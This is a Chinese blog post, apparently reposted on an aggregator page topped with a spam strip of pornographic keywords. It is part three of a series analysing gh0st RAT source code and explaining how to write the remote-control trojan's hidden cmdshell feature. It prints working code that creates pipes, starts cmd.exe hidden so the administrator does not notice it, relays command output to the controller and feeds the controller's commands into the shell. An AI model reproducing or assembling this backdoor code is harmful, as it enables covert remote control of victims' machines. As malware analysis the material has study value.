日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

gh0st源码分析与远控的编写(三)

發(fā)布時間:2024/4/11 编程问答 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 gh0st源码分析与远控的编写(三) 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.


? ? 好久不見。距離上次寫gh0st來有好久了,一是期末考試,忙不開,二是后來電腦壞了,幾天沒能上網(wǎng)。

? ? 昨天總算是把電腦修好了,雖說沒到一切重頭開始的地步,但是也重裝各種東西花了很久。閑下來的時間,我就來繼續(xù)分析gh0st的源碼吧。

? ? 上次我們把gh0st的上線給研究了一下,跟著老狼的視頻,繼續(xù)我們的步伐。開始實現(xiàn)gh0st中具體的功能。最簡單的一個是“終端管理”,就是一個cmdshell。

? ? 什么是cmdshell,相當(dāng)于是一個cmd命令行的后門,我在主控端中寫下cmd命令,然后傳給被控端,被控端執(zhí)行后將結(jié)果再發(fā)給主控端。

? ? 這是整個遠(yuǎn)控中比較簡單的部分,我們從被控端開始看起:(源碼在附件中可以下載)


? ? 在MainDll工程中,打開類視圖,找到CShellManager這個類,這就是我們“終端管理”功能用到的類。

? ? 在看代碼之前,我先說一下cmdshell的原理。為什么我們這個程序能執(zhí)行cmd命令并且把執(zhí)行結(jié)果得到并返回。這里用到管道技術(shù),管道是為了進(jìn)程間通信而存在的,如下圖:

????

? ? 我們在gh0st進(jìn)程中,開啟一個cmd進(jìn)程,并使用管道,向cmd.exe傳送信息,而cmd.exe也利用管道將信息發(fā)送給gh0st的進(jìn)程。管道通信又分三種,雙管道、單管道與無管道。gh0st里面用的雙管道后門,也就是說,我們在gh0st.exe和cmd.exe之間建立了兩根傳輸數(shù)據(jù)的管道,原因可想而知:a管道接受gh0st的命令,并發(fā)送給cmd,b管道接受cmd的執(zhí)行結(jié)果,并發(fā)送給gh0st。

? ? 理解了這個就方便了。首先看到它的構(gòu)造函數(shù):

01 if?(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeDll, &sa, 0))?//該管道為程序?qū)?#xff0c;cmd讀
02 {
03 ????CloseHandle(m_hReadPipeShell);
04 ????CloseHandle(m_hWritePipeDll);
05 ????return?;
06 }
07 ?
08 if?(!CreatePipe(&m_hReadPipeDll, &m_hWritePipeShell, &sa, 0))?//該管道為cmd寫,程序讀
09 {
10 ????CloseHandle(m_hReadPipeDll);
11 ????CloseHandle(m_hWritePipeShell);
12 }

? ? 創(chuàng)建了兩根管道,使用的API就是CreatePipe,m_hReadPipeShell其實就是一個句柄。CreatePipe這個API前兩個參數(shù)是該管道的讀句柄和寫句柄。讀句柄就是該管道的入口,寫句柄就是該管道的出口。管道這個名字很恰當(dāng),就像一根管子,數(shù)據(jù)從一個方向流入,從另一個方向流出。


? ? sa是安全屬性的一個結(jié)構(gòu),沒有太大作用,初始化一下傳入地址進(jìn)去就行了。

? ? 再往下看,

01 //獲得當(dāng)前程序的相關(guān)信息
02 GetStartupInfo(&si);
03 si.cb =?sizeof(STARTUPINFO);
04 si.wShowWindow = SW_HIDE;??//將進(jìn)程屬性設(shè)置為隱藏,否則cmd一打開管理員就看到了
05 si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
06 si.hStdInput = m_hReadPipeShell;?//將cmd讀、寫句柄賦值給該參數(shù)
07 si.hStdOutput = m_hWritePipeShell;
08 si.hStdError = m_hWritePipeShell;
09 ?
10 GetSystemDirectoryA(szShellPath, MAX_PATH);
11 strcat_s(szShellPath, MAX_PATH,?"\\cmd.exe");
12 ?
13 if?(!CreateProcess(szShellPath, NULL, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
14 {
15 ????CloseHandle(m_hReadPipeDll);
16 ????CloseHandle(m_hWritePipeDll);
17 ????CloseHandle(m_hReadPipeShell);
18 ????CloseHandle(m_hWritePipeShell);
19 ????return;
20 }

? ? 這部分實際上是在創(chuàng)建一個進(jìn)程。創(chuàng)建cmd進(jìn)程,使用的函數(shù)是CreateProccess,在創(chuàng)建進(jìn)程之前,首先要設(shè)置一下該進(jìn)程的屬性(使用到STARTUPINFO結(jié)構(gòu),)。GetStartupInfo(&si)就是獲取本進(jìn)程的屬性。相當(dāng)于用本進(jìn)程的屬性初始化了cmd進(jìn)程的屬性,然后再改一改,看看注釋就知道了。

? ? 到此,創(chuàng)建了一個進(jìn)程(cmd.exe)和兩根管道了。然后我們可以看到,被控端執(zhí)行了這一條命令:Send((LPBYTE)&bToken, 1); 發(fā)送了這個參數(shù):TOKEN_SHELL_START給主控端。這就告訴主控端,一切就緒,可以開始使用了。

? ? 之后打開兩個線程,一個是讀取管道數(shù)據(jù),一個是等待管道關(guān)閉。

? ? 看到讀取管道數(shù)據(jù)的線程,主要內(nèi)容是一個死循環(huán):

01 while?(true)
02 {
03 ????Sleep(100);
04 ????while?(PeekNamedPipe(pThis->m_hReadPipeDll, ReadBuffer,?sizeof(ReadBuffer),
05 ????????&ByteRead, &TotalByteAvail, NULL))
06 ????{
07 ????????if?(ByteRead <= 0)
08 ????????{
09 ????????????break;
10 ????????}
11 ????????ZeroMemory(&ByteRead,?sizeof(ByteRead));
12 ????????LPBYTE?lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalByteAvail);//LocalAlloc函數(shù)從堆中分配指定大小的區(qū)域
13 ????????//讀取管道內(nèi)信息
14 ????????ReadFile(pThis->m_hReadPipeDll, lpBuffer, TotalByteAvail, &ByteRead, NULL);
15 ????????//發(fā)送數(shù)據(jù)
16 ????????pThis->Send(lpBuffer, TotalByteAvail);
17 ????????LocalFree(lpBuffer);
18 ????}
19 }
? ? 其中用到PeekNamedPipe這個API,它的作用就是向管道中看一眼,如果有數(shù)據(jù)則返回True,如果沒有則返回FALSE。也就是說,如果沒有數(shù)據(jù),這個線程就一直在外部那個循環(huán)中,不停sleep。直到有數(shù)據(jù)就進(jìn)入內(nèi)部循環(huán)。ByteRead是數(shù)據(jù)的大小,如果它為0則表示cmd.exe已經(jīng)關(guān)閉了,就break然后退到外層循環(huán),再一直sleep。如果有內(nèi)容我們就使用ReadFile讀取管道中內(nèi)容,并Send到主控端去。


? ? 說到這里,有些人就要問了。你只說了怎么從管道里讀取內(nèi)容發(fā)送給主控端,但我們被控端怎么從主控端接收內(nèi)容并發(fā)送給管道呢?

? ? 上節(jié)課最后我們說了,“OnReceive函數(shù)在CManager中定義,但并未實現(xiàn)”。我們在這個文件中搜索一個OnRecieve,發(fā)現(xiàn)了它的實現(xiàn):

01 void?CShellManager::OnReceive(LPBYTE?lpBuffer,?UINT?nSize)
02 {
03 ????if?(nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
04 ????{
05 ????????NotifyDialogIsOpen();
06 ????????return?;
07 ????}
08 ?
09 ????//將客戶端發(fā)來的信息傳入管道中
10 ????unsigned?long?ByteWrite;
11 ????WriteFile(m_hWritePipeDll, lpBuffer, nSize, &ByteWrite, NULL);
12 }

? ? 這就是面向?qū)ο蟮乃枷搿N覀兯械腃XXXManager其實都是繼承的CManeger,而CManager中有這個函數(shù),不過是一個虛函數(shù),沒有具體代碼。而在我們每個的CXXXManager具體類中,就將其實現(xiàn)。


? ? 我們看看其代碼。實際上是判斷傳進(jìn)來的消息,如果是COMMAND_NEXT,說明主控端執(zhí)行完畢,被控端執(zhí)行下一步。如果不是COMMAND_NEXT,說明發(fā)送來的信息是數(shù)據(jù)(命令)。我們就將發(fā)來的信息傳入管道。

? ? 被控端大致就是這些,我們再看主控端。主控端的一些界面的代碼我就不講了,大家有興趣可以自己看看。

????

? ? 主控端是這樣一個思路。首先,用戶點擊“終端管理”的按鈕,然后主控端向被控端發(fā)送一條消息,告訴被控端開始終端管理工作,然后被控端新建一個CShellManager類,在類的構(gòu)造函數(shù)里創(chuàng)建兩個管道和一個cmd進(jìn)程。并在最后發(fā)送一個TOKEN_SHELL_START命令給主控端(還記得嗎?),主控端接受到此命令后,便建立一個CShellDlg類,并打開相應(yīng)對話框。

????在類視圖中找到CShellDlg這個類,這就是我們的遠(yuǎn)程管理窗口的類。我們看到其構(gòu)造函數(shù)中發(fā)送了一個COMMAND_NEXT給被控端,還記得我們剛才看的OnReceive函數(shù)嗎,那個if語句就是處理這個消息。就是告訴被控端,一切就緒。

????我們再打開CPhRemoteDlg類,找到其中的ProccessReceiveComplete函數(shù),其中有一段:

1 case?SHELL_DLG:
2 ????((CShellDlg *)dlg)->OnReceiveComplete();
3 ????break;
? ? 就是調(diào)用了CShellDlg類中的OnRecieveComplete方法,意思就是接收到信息就調(diào)用這個方法。


? ? 找到這個方法,實際上就是將從socket接受的信息放入編輯框。

? ? 再看到PreTranslateMessage方法,它截獲一些消息,包括了按鍵的消息。注釋寫的很詳細(xì),其實就是,當(dāng)用戶按下回車時,將編輯框中所有文本都保存在字符串中,并減去上一次的長度,得到用戶新輸入的長內(nèi)容,作為命令,發(fā)送出去。


? ? 其實主體內(nèi)容就這么多,所以說cmdshell是gh0st中比較簡單的部分了。大家看了這篇文章,大概就知道gh0st源碼的一個運行過程了。其他的功能其實發(fā)送信息的過程也類似,互相確認(rèn)一下執(zhí)行是否成功,并開始發(fā)送、接收信息。

總結(jié)

以上是生活随笔為你收集整理的gh0st源码分析与远控的编写(三)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。